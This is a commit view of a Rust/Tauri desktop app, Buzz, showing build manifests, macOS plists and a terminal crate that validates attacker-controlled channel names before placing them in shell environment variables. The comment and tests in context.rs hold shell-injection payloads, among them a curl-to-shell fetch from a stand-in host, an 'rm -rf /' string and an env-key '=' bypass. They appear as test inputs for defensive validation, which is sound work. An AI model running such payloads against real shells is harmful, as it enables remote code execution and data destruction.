feat: import Chinese-localized Buzz source snapshot
Docker image / Build (linux/amd64) (push) Has been cancelled
Docker image / Build (linux/arm64) (push) Has been cancelled
Docker image / Merge release multi-arch manifest (push) Has been cancelled
Docker image / Merge debug multi-arch manifest (push) Has been cancelled
Docker image / Build public push gateway (linux/amd64) (push) Has been cancelled
Docker image / Build public push gateway (linux/arm64) (push) Has been cancelled
Docker image / Publish public push gateway image (push) Has been cancelled
Sprig image / Build (linux/amd64) (push) Has been cancelled
Sprig image / Build (linux/arm64) (push) Has been cancelled
Sprig image / Merge multi-arch manifest (push) Has been cancelled
Harbor Buzz Orchestra / Python tests and lint (push) Has been cancelled
CI / Detect Changed Paths (push) Has been cancelled
CI / Rust Lint (push) Has been cancelled
CI / Unit Tests (push) Has been cancelled
CI / Desktop Core (push) Has been cancelled
CI / Desktop Smoke E2E (1) (push) Has been cancelled
CI / Desktop Smoke E2E (2) (push) Has been cancelled
CI / Desktop Smoke E2E (3) (push) Has been cancelled
CI / Desktop Smoke E2E (4) (push) Has been cancelled
CI / Desktop (push) Has been cancelled
CI / Desktop E2E Relay (push) Has been cancelled
CI / Desktop E2E Integration (1/2) (push) Has been cancelled
CI / Desktop E2E Integration (2/2) (push) Has been cancelled
CI / Desktop E2E Integration (push) Has been cancelled
CI / Backend Integration (relay e2e) (push) Has been cancelled
CI / Relay E2E (push) Has been cancelled
CI / Web (push) Has been cancelled
CI / Mobile (push) Has been cancelled
CI / Security (push) Has been cancelled
CI / Dead Token Reference Guard (push) Has been cancelled
CI / Server Cross-Compile (aarch64-unknown-linux-musl) (push) Has been cancelled
CI / Server Cross-Compile (x86_64-unknown-linux-musl) (push) Has been cancelled
CI / Windows Rust (x86_64-pc-windows-msvc) (push) Has been cancelled
CI / Desktop Build (macOS) (push) Has been cancelled
helm chart / lint + unittest + render matrix (push) Has been cancelled
helm chart / install on kind (gated) (push) Has been cancelled
helm chart / publish chart to GHCR (push) Has been cancelled
Mesh Lifecycle / Relay-Driven Mesh Lifecycle Smoke (push) Has been cancelled
Sprig / Build (aarch64-unknown-linux-musl) (push) Has been cancelled
Sprig / Build (x86_64-unknown-linux-musl) (push) Has been cancelled
Sprig / Publish rolling release (push) Has been cancelled
Sprig / Publish tagged release (push) Has been cancelled

Signed-off-by: cls_宁波本机 <908705107@qq.com>
This commit is contained in:
2026-08-13 18:34:25 +08:00
parent 61c3fa1df9
commit 9dfa06ffee
3785 changed files with 1085458 additions and 2 deletions
+10
View File
@@ -0,0 +1,10 @@
# Generated by Cargo
# will have compiled files and executables
/target/
# Generated by Tauri
# will have schema files for capabilities auto-completion
/gen/schemas
# Sidecar binaries (built by scripts/bundle-sidecars.sh)
/binaries
+13774
View File
File diff suppressed because it is too large Load Diff
+156
View File
@@ -0,0 +1,156 @@
[workspace]
# Explicit: membership must NOT be inferred from the path-dependency edge below.
# With a bare `[workspace]` and no `members`, `cargo test/check --workspace`
# expands to a set that excludes this crate, and its gates pass green-and-empty
# over a real defect. Verified: Sami Arm A/D, Dawn `.scratch/armA`.
members = ["crates/buzz-terminal"]
[package]
name = "buzz-desktop"
version = "0.5.8"
description = "Buzz desktop app"
authors = ["you"]
edition = "2021"
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
[lib]
# The `_lib` suffix may seem redundant but it is necessary
# to make the lib name unique and wouldn't conflict with the bin name.
# This seems to be only an issue on Windows, see https://github.com/rust-lang/cargo/issues/8519
name = "buzz_lib"
crate-type = ["staticlib", "cdylib", "rlib"]
[features]
default = ["system-keyring"]
mesh-llm = ["dep:iroh", "dep:mesh-llm-sdk", "dep:mesh-llm-host-runtime", "dep:mesh-llm-client", "dep:mesh-llm-node", "dep:mesh-llm-system", "dep:mesh-llm-events"]
# OS keyring backing for desktop secret storage (nsec private keys). When
# disabled, secrets fall back to 0o600 files. On by default for real builds.
system-keyring = ["dep:keyring"]
[build-dependencies]
base64 = "0.22"
serde = { version = "1", features = ["derive"] }
serde_json = "1"
tauri-build = { version = "2", features = [] }
[target.'cfg(unix)'.dependencies]
libc = "0.2"
ctrlc = { version = "3", features = ["termination"] }
[target.'cfg(target_os = "linux")'.dependencies]
keyring = { version = "3.6.3", default-features = false, features = ["sync-secret-service", "vendored"], optional = true }
# Used directly (alongside tauri-plugin-notification) so we can hold the posting
# D-Bus connection open. GNOME 46+ dismisses a notification the moment that
# connection is dropped, which the plugin does immediately. Default features
# keep the pure-Rust zbus backend, matching the plugin (no libdbus needed).
notify-rust = "4"
# Enable getUserMedia in the WebKitGTK webview (see src/linux_media.rs). Pinned
# to the exact version wry links so both resolve to one webkit2gtk-sys and we
# don't get duplicate symbols; bump in lockstep with wry.
webkit2gtk = { version = "=2.0.2", features = ["v2_22"] }
[target.'cfg(target_os = "macos")'.dependencies]
block2 = { version = "0.6", default-features = false, features = ["std"] }
objc2 = { version = "0.6.4", default-features = false }
objc2-app-kit = { version = "0.3.2", default-features = false, features = ["NSEvent", "NSHapticFeedback", "NSMenu", "NSMenuItem", "NSStatusItem", "block2"] }
objc2-foundation = { version = "0.3.2", default-features = false, features = ["NSDictionary", "NSError", "NSBundle", "NSObject", "NSProcessInfo", "NSString"] }
objc2-user-notifications = { version = "0.3.2", default-features = false, features = ["block2", "UNNotification", "UNNotificationContent", "UNNotificationRequest", "UNNotificationResponse", "UNNotificationSettings", "UNNotificationTrigger", "UNUserNotificationCenter"] }
keyring = { version = "3.6.3", default-features = false, features = ["apple-native", "vendored"], optional = true }
security-framework = { version = "3.7.0", features = ["OSX_10_15"] }
window-vibrancy = "0.6"
user-idle = { version = "0.6", default-features = false }
plist = "1"
[target.'cfg(windows)'.dependencies]
windows-sys = { version = "0.61", features = ["Win32_Security", "Win32_Storage_FileSystem", "Win32_System_JobObjects", "Win32_System_Registry", "Win32_System_Threading", "Win32_Foundation"] }
keyring = { version = "3.6.3", default-features = false, features = ["windows-native", "vendored"], optional = true }
user-idle = { version = "0.6", default-features = false }
[dependencies]
atomic-write-file = "0.3"
anyhow = "1"
dirs = "6"
tauri = { version = "2", features = ["macos-private-api", "tray-icon"] }
tauri-plugin-deep-link = "2"
tauri-plugin-opener = "2"
tauri-plugin-single-instance = { version = "2", features = ["deep-link"] }
tauri-plugin-window-state = "2"
tauri-plugin-dialog = "2"
tauri-plugin-updater = "2"
tauri-plugin-process = "2"
infer = "0.19"
hex = "0.4"
ed25519-dalek = "=3.0.0-rc.0"
tokio = { version = "1", features = ["fs", "sync", "rt", "macros", "time", "net", "io-util"] }
tokio-tungstenite = { version = "0.29", features = ["rustls-tls-webpki-roots"] }
tokio-util = { version = "0.7", features = ["rt"] }
bytes = "1"
futures-util = "0.3"
opus = "0.3"
neteq = { version = "0.8", default-features = false }
serde = { version = "1", features = ["derive"] }
serde_json = "1"
serde_yaml = "0.9"
toml = "0.8"
nostr = { version = "0.44", features = ["nip44", "nip49"] }
# OS-entropy source for backup passphrase generation (already in the tree as a
# transitive dependency; pinned here for direct use).
getrandom = "0.2"
zeroize = "1"
reqwest = { version = "0.13", features = ["json", "query", "stream", "blocking"] }
rustls = { version = "0.23", default-features = false, features = ["aws_lc_rs", "std"] }
url = "2"
buzz_core_pkg = { package = "buzz-core", path = "../../crates/buzz-core" }
buzz_persona_pkg = { package = "buzz-persona", path = "../../crates/buzz-persona" }
buzz_sdk_pkg = { package = "buzz-sdk", path = "../../crates/buzz-sdk" }
buzz_agent_pkg = { package = "buzz-agent", path = "../../crates/buzz-agent" }
buzz_voice_pkg = { package = "buzz-voice", path = "../../crates/buzz-voice" }
buzz_terminal = { package = "buzz-terminal", path = "crates/buzz-terminal" }
portable-pty = "0.9"
iroh = { version = "1.0.2", optional = true }
mesh-llm-sdk = { git = "https://github.com/Mesh-LLM/mesh-llm.git", tag = "v0.74.0", package = "mesh-llm-sdk", default-features = false, features = ["client", "serving"], optional = true }
mesh-llm-host-runtime = { git = "https://github.com/Mesh-LLM/mesh-llm.git", tag = "v0.74.0", package = "mesh-llm-host-runtime", default-features = false, features = ["dynamic-native-runtime"], optional = true }
# Model catalog + hardware survey for the Share-compute model picker (same
# diagnose pattern as mesh-console). Lib name of mesh-llm-client is mesh_client.
mesh-llm-client = { git = "https://github.com/Mesh-LLM/mesh-llm.git", tag = "v0.74.0", package = "mesh-llm-client", optional = true }
mesh-llm-node = { git = "https://github.com/Mesh-LLM/mesh-llm.git", tag = "v0.74.0", package = "mesh-llm-node", optional = true }
mesh-llm-system = { git = "https://github.com/Mesh-LLM/mesh-llm.git", tag = "v0.74.0", package = "mesh-llm-system", optional = true }
mesh-llm-events = { git = "https://github.com/Mesh-LLM/mesh-llm.git", tag = "v0.74.0", package = "mesh-llm-events", optional = true }
base64 = "0.22"
sha2 = "0.11"
tar = "0.4"
bzip2 = "0.6"
chrono = { version = "0.4", features = ["serde"] }
tauri-plugin-global-shortcut = "2"
tauri-plugin-notification = "2.3.3"
uuid = { version = "1", features = ["v4", "v5"] }
png = "0.18"
# wayland-data-control: without it arboard is X11-only on Linux, so copies made
# in a Wayland session land in XWayland's clipboard where Wayland-native apps
# never see them (set_text still returns Ok). The backing wl-clipboard-rs dep is
# target-gated inside arboard; at runtime X11 sessions still fall back to X11.
arboard = { version = "3", features = ["wayland-data-control"] }
image = { version = "0.25", default-features = false, features = ["jpeg", "png", "webp", "gif"] }
zip = "8"
flate2 = "1"
sherpa-onnx = "1.12"
regex = "1"
rusqlite = { version = "0.37", features = ["bundled"] }
axum = "0.8"
rodio = "0.22"
earshot = "1.0"
rubato = "3.0"
audioadapter-buffers = "3.0"
tempfile = "3"
strip-ansi-escapes = "0.2"
tracing = "0.1"
[dev-dependencies]
tauri-utils = "2"
# `test-util` enables tokio's paused-clock (`start_paused`) so the relay
# admission gate tests can assert exact wait durations without real sleeps.
tokio = { version = "1", features = ["test-util"] }
# The relay's media validation, so the snapshot-sharing tests can prove the
# full export → sanitize → relay-accept → import contract end to end.
buzz_media_pkg = { package = "buzz-media", path = "../../crates/buzz-media" }
+13
View File
@@ -0,0 +1,13 @@
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>com.apple.security.device.audio-input</key>
<true/>
<key>com.apple.security.device.camera</key>
<true/>
<!-- MeshLLM installs versioned native runtimes outside the app bundle. -->
<key>com.apple.security.cs.disable-library-validation</key>
<true/>
</dict>
</plist>
+16
View File
@@ -0,0 +1,16 @@
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CFBundleDisplayName</key>
<string>Buzz</string>
<key>CFBundleName</key>
<string>Buzz</string>
<key>NSMicrophoneUsageDescription</key>
<string>Buzz needs microphone access for voice huddles.</string>
<key>NSCameraUsageDescription</key>
<string>Buzz needs camera access to record animated avatars.</string>
<key>NSLocalNetworkUsageDescription</key>
<string>Buzz uses your local network for optional Share Compute and local relay connections. Remote messaging does not require this access.</string>
</dict>
</plist>
Binary file not shown.

After

Width:  |  Height:  |  Size: 788 KiB

+144
View File
@@ -0,0 +1,144 @@
// Shared schema, included from the same source the runtime command parses with,
// so the build-time validation below and the runtime parse cannot drift.
include!("src/commands/reconnect_hook_config.rs");
// Same source of truth the runtime filters with, so a baked build env cannot
// carry a reserved key the runtime believes it already rejected.
include!("src/managed_agents/reserved_env_keys.rs");
use base64::Engine as _;
fn main() {
println!("cargo:rerun-if-env-changed=BUZZ_RELAY_URL");
println!("cargo:rerun-if-env-changed=BUZZ_RELAY_HTTP");
println!("cargo:rerun-if-env-changed=BUZZ_UPDATER_PUBLIC_KEY");
println!("cargo:rerun-if-env-changed=BUZZ_UPDATER_ENDPOINT");
println!("cargo:rerun-if-env-changed=BUZZ_BUILD_BUZZ_AGENT_PROVIDER");
println!("cargo:rerun-if-env-changed=BUZZ_BUILD_BUZZ_AGENT_MODEL");
println!("cargo:rerun-if-env-changed=BUZZ_BUILD_AGENT_ENV");
println!("cargo:rerun-if-env-changed=BUZZ_BUILD_RELAY_RECONNECT_CMD");
println!("cargo:rerun-if-env-changed=BUZZ_BUILD_AGENT_ACCESS_OWNER_ONLY");
println!("cargo:rerun-if-env-changed=BUZZ_BUILD_AUTO_CONNECT_DEFAULT_RELAY");
println!("cargo:rustc-check-cfg=cfg(buzz_updater_enabled)");
// Explicit owner-only agent-access capability. Release packaging sets this
// presence-only marker; OSS/custom builds leave agent access configurable.
if std::env::var("BUZZ_BUILD_AGENT_ACCESS_OWNER_ONLY").is_ok() {
println!("cargo:rustc-env=BUZZ_DESKTOP_BUILD_AGENT_ACCESS_OWNER_ONLY=1");
}
if let Ok(relay_url) = std::env::var("BUZZ_RELAY_URL") {
println!("cargo:rustc-env=BUZZ_DESKTOP_BUILD_RELAY_URL={relay_url}");
}
if let Ok(relay_http) = std::env::var("BUZZ_RELAY_HTTP") {
println!("cargo:rustc-env=BUZZ_DESKTOP_BUILD_RELAY_HTTP={relay_http}");
}
if let Ok(provider) = std::env::var("BUZZ_BUILD_BUZZ_AGENT_PROVIDER") {
println!("cargo:rustc-env=BUZZ_DESKTOP_BUILD_BUZZ_AGENT_PROVIDER={provider}");
}
if let Ok(model) = std::env::var("BUZZ_BUILD_BUZZ_AGENT_MODEL") {
println!("cargo:rustc-env=BUZZ_DESKTOP_BUILD_BUZZ_AGENT_MODEL={model}");
}
// Generic KEY=VALUE pairs to inject into every spawned agent process.
// Newline-delimited; each line must be non-empty and contain exactly one
// `=` separator with a non-empty key. OSS builds leave this unset.
// The validated value is base64-encoded before emitting so the single-line
// Cargo build-script output carries all pairs (Cargo output is line-oriented;
// a raw multiline value would be silently truncated to the first line).
if let Ok(raw) = std::env::var("BUZZ_BUILD_AGENT_ENV") {
for (line_no, line) in raw.lines().enumerate() {
let line = line.trim();
if line.is_empty() {
continue;
}
let eq = line.find('=').unwrap_or_else(|| {
panic!(
"BUZZ_BUILD_AGENT_ENV line {}: missing '=' separator in {:?}",
line_no + 1,
line
)
});
let key = &line[..eq];
if key.is_empty() {
panic!(
"BUZZ_BUILD_AGENT_ENV line {}: key must not be empty in {:?}",
line_no + 1,
line
);
}
// The baked env is written into every spawned agent's environment
// LAST (see `managed_agents/runtime.rs`), after Buzz sets the
// access gates and identity vars. A baked reserved key would
// therefore silently override the gate the UI promises, so reject
// it at build time instead of shipping a binary that bypasses its
// own enforcement.
if is_reserved_env_key(key) {
panic!(
"BUZZ_BUILD_AGENT_ENV line {}: `{}` is reserved by Buzz and cannot be baked \
into a build (it would override Buzz's own identity/access env)",
line_no + 1,
key
);
}
}
let encoded = base64::engine::general_purpose::STANDARD.encode(raw.as_bytes());
println!("cargo:rustc-env=BUZZ_DESKTOP_BUILD_AGENT_ENV={encoded}");
}
if let Ok(val) = std::env::var("BUZZ_BUILD_RELAY_RECONNECT_CMD") {
let parsed: serde_json::Value = serde_json::from_str(&val)
.unwrap_or_else(|e| panic!("BUZZ_BUILD_RELAY_RECONNECT_CMD is not valid JSON: {e}"));
serde_json::from_value::<ReconnectHookConfig>(parsed).unwrap_or_else(|e| {
panic!("BUZZ_BUILD_RELAY_RECONNECT_CMD doesn't match ReconnectHookConfig: {e}")
});
println!("cargo:rustc-env=BUZZ_DESKTOP_BUILD_RELAY_RECONNECT_CMD={val}");
}
// Presence-only release capability: internal desktop builds opt into
// auto-connecting their configured default relay on first run. OSS builds
// leave this unset and retain explicit community selection.
if std::env::var("BUZZ_BUILD_AUTO_CONNECT_DEFAULT_RELAY").is_ok() {
println!("cargo:rustc-env=BUZZ_DESKTOP_BUILD_AUTO_CONNECT_DEFAULT_RELAY=1");
}
let updater_public_key = std::env::var("BUZZ_UPDATER_PUBLIC_KEY")
.ok()
.map(|value| value.trim().to_string())
.filter(|value| !value.is_empty());
let updater_endpoint = std::env::var("BUZZ_UPDATER_ENDPOINT")
.ok()
.map(|value| value.trim().to_string())
.filter(|value| !value.is_empty());
if updater_public_key.is_some() && updater_endpoint.is_some() {
println!("cargo:rustc-cfg=buzz_updater_enabled");
}
// Cargo test executables get no embedded Windows manifest (tauri_build
// attaches one to bin targets only), so the loader binds comctl32 v5, which
// lacks TaskDialogIndirect (statically imported via tauri-plugin-dialog/rfd)
// and debug test exes die at load with STATUS_ENTRYPOINT_NOT_FOUND. Declaring
// the Common Controls v6 dependency makes link.exe emit a side-by-side
// <exe>.manifest that the loader honors for manifest-less executables;
// binaries with an embedded manifest (the real app) ignore it.
if std::env::var("CARGO_CFG_TARGET_OS").as_deref() == Ok("windows")
&& std::env::var("CARGO_CFG_TARGET_ENV").as_deref() == Ok("msvc")
{
println!(
"cargo:rustc-link-arg=/MANIFESTDEPENDENCY:type='win32' name='Microsoft.Windows.Common-Controls' version='6.0.0.0' processorArchitecture='*' publicKeyToken='6595b64144ccf1df' language='*'"
);
}
tauri_build::try_build(
tauri_build::Attributes::new().plugin(
"websocket",
tauri_build::InlinedPlugin::new()
.commands(&["connect", "send", "disconnect", "disconnect_all"])
.default_permission(tauri_build::DefaultPermissionRule::AllowAllCommands),
),
)
.expect("failed to build Tauri application");
}
@@ -0,0 +1,31 @@
{
"$schema": "../gen/schemas/desktop-schema.json",
"identifier": "default",
"description": "Capability for the main window and trusted huddle companions",
"windows": ["main", "huddle-*"],
"permissions": [
"core:default",
"core:webview:allow-set-webview-zoom",
"core:window:allow-set-badge-count",
"core:window:allow-set-badge-label",
"core:window:allow-request-user-attention",
"core:window:allow-set-focus",
"core:window:allow-start-dragging",
"core:window:allow-toggle-maximize",
"core:window:allow-unminimize",
"core:window:allow-show",
"core:window:allow-close",
"notification:default",
"opener:default",
"websocket:default",
"window-state:default",
"dialog:default",
"updater:allow-check",
"updater:allow-download",
"updater:allow-install",
"process:allow-restart",
"global-shortcut:allow-register",
"global-shortcut:allow-unregister",
"global-shortcut:allow-is-registered"
]
}
@@ -0,0 +1,18 @@
[package]
name = "buzz-terminal"
version = "0.1.0"
edition = "2021"
license = "Apache-2.0"
[dependencies]
alacritty_terminal = { version = "0.26.0", default-features = false }
parking_lot = "0.12"
portable-pty = "0.9"
[target.'cfg(unix)'.dependencies]
libc = "0.2"
[dev-dependencies]
# Tests reach into the grid to prove content survived a frame.
alacritty_terminal = { version = "0.26.0", default-features = false }
parking_lot = "0.12"
@@ -0,0 +1,103 @@
//! GUI context injected into the child shell.
//!
//! The terminal knows which channel and thread the user is looking at, so a
//! script in the substrate can act on it. That context crosses a trust
//! boundary: a channel *name* is attacker-controlled — anyone who can create
//! a channel picks the string — and it lands in an environment variable that
//! shells interpolate into prompts. A `PS1` containing `$BUZZ_CHANNEL` turns a
//! channel named `$(curl evil.sh|sh)` into command execution the moment the
//! user opens a terminal.
//!
//! Two rules follow, and the second one is the load-bearing one:
//!
//! 1. **Validate, don't sanitize.** Stripping dangerous characters is an
//! endless negotiation with an attacker who chooses the input. We accept a
//! conservative character class and reject everything else.
//! 2. **On rejection, substitute — never strip.** A stripped name is still a
//! name, and it is *wrong* in a way the user cannot see: `$(evil)` becomes
//! `evil`, which looks like a real channel. We substitute the channel UUID,
//! which is unambiguous, always safe, and visibly not a name — the user can
//! tell something was replaced.
/// Maximum accepted channel-name length, in characters.
const MAX_CHANNEL_NAME_CHARS: usize = 64;
/// The GUI state a spawned terminal is told about.
#[derive(Debug, Clone)]
pub struct GuiContext {
pub channel_id: String,
pub channel_name: String,
pub thread_id: Option<String>,
pub npub: String,
pub relay_url: String,
pub session_id: String,
}
/// Returns true if `name` is safe to expose as `BUZZ_CHANNEL`.
///
/// Unicode letters, digits and marks are accepted so non-Latin channel names
/// survive, plus space and `-`/`_`/`.`. Everything a shell gives meaning to —
/// `$`, backtick, `;`, `|`, `&`, quotes, newline, NUL, `=` — is outside the
/// class and therefore rejected rather than removed.
fn is_safe_channel_name(name: &str) -> bool {
!name.is_empty()
&& name.chars().count() <= MAX_CHANNEL_NAME_CHARS
&& name
.chars()
.all(|c| c.is_alphanumeric() || matches!(c, ' ' | '-' | '_' | '.'))
}
/// The value to expose as `BUZZ_CHANNEL`: the name when it is safe, otherwise
/// the channel UUID.
pub fn channel_display(context: &GuiContext) -> &str {
if is_safe_channel_name(&context.channel_name) {
&context.channel_name
} else {
&context.channel_id
}
}
/// Returns true if `key` is a well-formed POSIX env var name:
/// `[A-Za-z_][A-Za-z0-9_]*`.
///
/// Mirrors `is_well_formed_env_key` in the desktop crate
/// (`src/managed_agents/env_vars.rs`), whose rationale applies verbatim here:
/// `CommandBuilder::env` will pass a key containing `=` straight into the
/// child's environ block, where `getenv("FOO")` matches whatever follows the
/// first `=`. A key `BUZZ_CHANNEL=x` with value `y` lands as
/// `BUZZ_CHANNEL=x=y`, so `getenv("BUZZ_CHANNEL")` returns `"x=y"` — a way to
/// forge a variable the fence otherwise controls.
///
/// Every key we inject is a compile-time literal today, so this cannot fire
/// yet. It is here because the *next* injected key may not be: the check
/// belongs at the boundary, not in the reviewer's memory.
pub fn is_well_formed_env_key(key: &str) -> bool {
let mut chars = key.chars();
match chars.next() {
Some(c) if c == '_' || c.is_ascii_alphabetic() => {}
_ => return false,
}
chars.all(|c| c == '_' || c.is_ascii_alphanumeric())
}
/// The context variables to inject, in order.
///
/// `BUZZ_CHANNEL` carries the validated display value; `BUZZ_CHANNEL_ID` is
/// always the UUID, so a script that needs an unambiguous identifier has one
/// that no channel name can spoof.
pub fn context_vars(context: &GuiContext) -> Vec<(&'static str, String)> {
let mut vars = vec![
("BUZZ_CHANNEL_ID", context.channel_id.clone()),
("BUZZ_CHANNEL", channel_display(context).to_owned()),
("BUZZ_NPUB", context.npub.clone()),
("BUZZ_RELAY_URL", context.relay_url.clone()),
("BUZZ_TERM_SESSION", context.session_id.clone()),
("BUZZ_TERM_VERSION", env!("CARGO_PKG_VERSION").to_owned()),
];
// Absent rather than empty when the user is not in a thread: `-n
// "$BUZZ_THREAD_ID"` and `${BUZZ_THREAD_ID+set}` should agree.
if let Some(thread_id) = &context.thread_id {
vars.push(("BUZZ_THREAD_ID", thread_id.clone()));
}
vars
}
@@ -0,0 +1,139 @@
//! T-1: the channel name is attacker-controlled and reaches a shell.
use crate::context::{channel_display, context_vars, is_well_formed_env_key, GuiContext};
const UUID: &str = "dbb5c335-bbce-4969-8635-7dae8338ea5b";
fn context_named(channel_name: &str) -> GuiContext {
GuiContext {
channel_id: UUID.to_owned(),
channel_name: channel_name.to_owned(),
thread_id: None,
npub: "npub1example".to_owned(),
relay_url: "wss://relay.example".to_owned(),
session_id: "session-1".to_owned(),
}
}
/// Ordinary names survive intact, including non-Latin scripts. A validator
/// that rejected these would be "safe" and useless.
#[test]
fn benign_channel_names_pass_through_unchanged() {
for name in [
"buzz-tui",
"General Chat",
"release_2.0",
"日本語チャンネル",
"Ünicode Ñames",
] {
let context = context_named(name);
assert_eq!(channel_display(&context), name, "rejected a benign name");
}
}
/// Shell metacharacters are rejected — and the substitute is the UUID, not a
/// stripped name. Stripping would turn `$(evil)` into `evil`, which is
/// indistinguishable from a real channel called `evil`.
#[test]
fn hostile_channel_names_are_replaced_by_the_uuid() {
for name in [
"$(curl evil.sh|sh)",
"`id`",
"a; rm -rf /",
"a\nPS1=pwned",
"a$IFS$9",
"x=y",
"'; echo pwned; '",
"a\0b",
] {
let context = context_named(name);
let shown = channel_display(&context);
assert_eq!(
shown, UUID,
"hostile name was not replaced by the UUID: {name:?} -> {shown:?}"
);
}
}
/// The substitution must be *whole*, not a filtered version of the input. A
/// strip-sanitizer passes the "no metacharacters" check while still echoing
/// attacker-chosen text.
#[test]
fn rejection_substitutes_rather_than_strips() {
let context = context_named("$(curl evil.sh|sh)");
let shown = channel_display(&context);
assert!(
!shown.contains("curl") && !shown.contains("evil"),
"attacker-chosen text survived rejection: {shown:?}"
);
}
/// Over-long names are rejected: an env var is not a place for unbounded
/// attacker input, and a 10 KB prompt is its own denial of service.
#[test]
fn over_long_channel_names_are_replaced() {
let context = context_named(&"a".repeat(65));
assert_eq!(channel_display(&context), UUID);
let ok = context_named(&"a".repeat(64));
assert_eq!(channel_display(&ok), "a".repeat(64));
}
/// `BUZZ_CHANNEL_ID` is always the UUID, so a script has an identifier that no
/// channel name can spoof — including a channel *named* like a UUID.
#[test]
fn channel_id_is_never_the_name() {
let context = context_named("11111111-2222-3333-4444-555555555555");
let vars = context_vars(&context);
let id = vars.iter().find(|(k, _)| *k == "BUZZ_CHANNEL_ID").unwrap();
assert_eq!(
id.1, UUID,
"a UUID-shaped channel name displaced the real id"
);
}
/// Absent rather than empty: `${BUZZ_THREAD_ID+set}` and `-n` must agree.
#[test]
fn thread_id_is_absent_when_there_is_no_thread() {
let vars = context_vars(&context_named("buzz-tui"));
assert!(!vars.iter().any(|(k, _)| *k == "BUZZ_THREAD_ID"));
let mut context = context_named("buzz-tui");
context.thread_id = Some("thread-1".to_owned());
let vars = context_vars(&context);
assert_eq!(
vars.iter()
.find(|(k, _)| *k == "BUZZ_THREAD_ID")
.map(|(_, v)| v.as_str()),
Some("thread-1")
);
}
/// Every injected key must be POSIX-shaped. A key containing `=` would let
/// the value forge a second variable in the child's environ block.
#[test]
fn every_injected_key_is_well_formed() {
for (key, _) in context_vars(&context_named("buzz-tui")) {
assert!(
is_well_formed_env_key(key),
"malformed injected key: {key:?}"
);
}
}
/// The guard itself, including the bypass shape it exists for.
#[test]
fn well_formed_key_rejects_the_equals_bypass() {
for good in ["BUZZ_CHANNEL", "_UNDERSCORE", "A1"] {
assert!(is_well_formed_env_key(good), "rejected {good:?}");
}
for bad in [
"BUZZ_CHANNEL=x",
"",
"1LEADING_DIGIT",
"HAS SPACE",
"HAS\0NUL",
"kebab-case",
] {
assert!(!is_well_formed_env_key(bad), "accepted {bad:?}");
}
}
@@ -0,0 +1,490 @@
//! Turning grid changes into frames for the renderer.
//!
//! Two rules shape this module, both measured:
//!
//! 1. **Nothing but reading and copying happens under the `Term` lock.** The
//! caller copies rows out; encoding, hashing and serializing run after the
//! lock is released. Encoding inline costs ~75x in lock hold.
//! 2. **Damage over-reports.** `Term::damage()` marks the cursor line every
//! call, so an idle terminal reports damage nearly every frame. Per-line
//! content hashing suppresses those, so the transport never sees a no-op.
//!
//! # Why a frame is the whole viewport
//!
//! Nearly every frame is a full repaint: `Term::scroll_up_relative` calls
//! `mark_fully_damaged()` unconditionally, so any output reaching the bottom
//! row damages the whole grid. Partial damage is effectively the idle cursor.
//!
//! That is fine, and the reason is worth having here rather than in a review
//! thread. A full frame is O(viewport) *by construction* -- the grid is itself
//! the coalescing buffer -- so its cost does not depend on how fast the child
//! writes. Measured on a 200x50 grid, bytes per frame across four orders of
//! magnitude of output rate: 11,390 at an unthrottled flood (45,759 lines
//! scrolled per frame), 11,390 at ~1 MB/s, 11,390 at ~100 KB/s, 11,305 on a
//! slow build log. Constant to three digits.
//!
//! A scroll-aware diff inverts that: its cost is O(lines scrolled), unbounded,
//! and at 45,759 lines/frame it would ship ~915x more data than the full grid
//! it was optimising. It wins where nobody is watching and loses under `cat`.
//!
//! **Revisit if the viewport grows.** 80x24 costs 2.6 KB/frame (0.2 MB/s at
//! 60 Hz), 200x50 costs 11.4 KB (0.7 MB/s), 400x100 costs 42.8 KB (2.6 MB/s).
//! 400x100 is roughly 4x a typical maximised window and is where this decision
//! should be re-measured -- as a serialization/IPC question, not a damage one.
//!
//! Dedup earns its place in the interactive case rather than the streaming one:
//! typing is ~0.9 rows per keystroke, and an idle terminal ships 0 rows across
//! 60 frames instead of a cursor-line frame 60x/second. Idle is the load-bearing
//! one -- it is what the substrate does while sitting behind the GUI untouched.
use std::collections::hash_map::DefaultHasher;
use std::hash::{Hash, Hasher};
use alacritty_terminal::grid::Dimensions;
use alacritty_terminal::index::{Column, Line};
use alacritty_terminal::term::cell::{Cell, Flags};
use alacritty_terminal::term::TermDamage;
/// A run of cells sharing one visual style **and one cell width**.
///
/// # Why the consumer can position every cluster without Unicode tables
///
/// The renderer must place each display cluster at its true column, and it
/// cannot derive that from the text: no single split rule over a concatenated
/// string is correct. A regional-indicator flag (`U+1F1FA U+1F1F8`) is two
/// ordinary one-column cells, so it must split *per codepoint*; a keycap
/// (`1 U+FE0F U+20E3`) is one cell holding three codepoints, so it must split
/// *per grapheme*. Those rules disagree, and the distinction lives in the grid,
/// not in the string.
///
/// So the run carries it instead. Within a span every cluster advances the same
/// [`width`](Self::width) columns, and [`cluster_count`](Self::cluster_count)
/// says how many clusters the text holds. The consumer's rule is arithmetic on
/// those two numbers, with no Unicode table anywhere:
///
/// ```text
/// cluster_count == 1 -> the whole text is one cluster, at `column`
/// otherwise -> cluster i is the i-th char, at `column + i * width`
/// ```
///
/// The second case is exact because a cell carrying zerowidth marks is always
/// emitted alone, so every cell in a multi-cluster span contributes exactly one
/// `char`.
#[derive(Debug, Clone, PartialEq, Eq)]
pub struct Span {
/// First column of the run.
pub column: usize,
/// The run's text. Grapheme clusters are kept whole: a cell's zerowidth
/// combining marks follow its base character, so the renderer never sees
/// a base and its accent as separate glyphs.
pub text: String,
/// Columns each cluster in this run occupies: 1, or 2 for wide glyphs.
///
/// Uniform across the run by construction -- a width change ends the span.
/// This is what lets the consumer position clusters by computed origin
/// rather than by accumulated text advance.
pub width: u8,
/// How many display clusters [`text`](Self::text) holds.
///
/// Without this the consumer cannot distinguish a one-cluster span carrying
/// combining marks from an ordinary multi-character run, and would need a
/// Unicode zerowidth table to guess. The grid already knows, so it says.
pub cluster_count: u16,
/// Packed style: fg, bg, and attribute flags.
pub style: Style,
}
impl Span {
/// The decoding invariant, stated once: a span is either a single cluster
/// (which may hold several `char`s, as a keycap or an accented letter
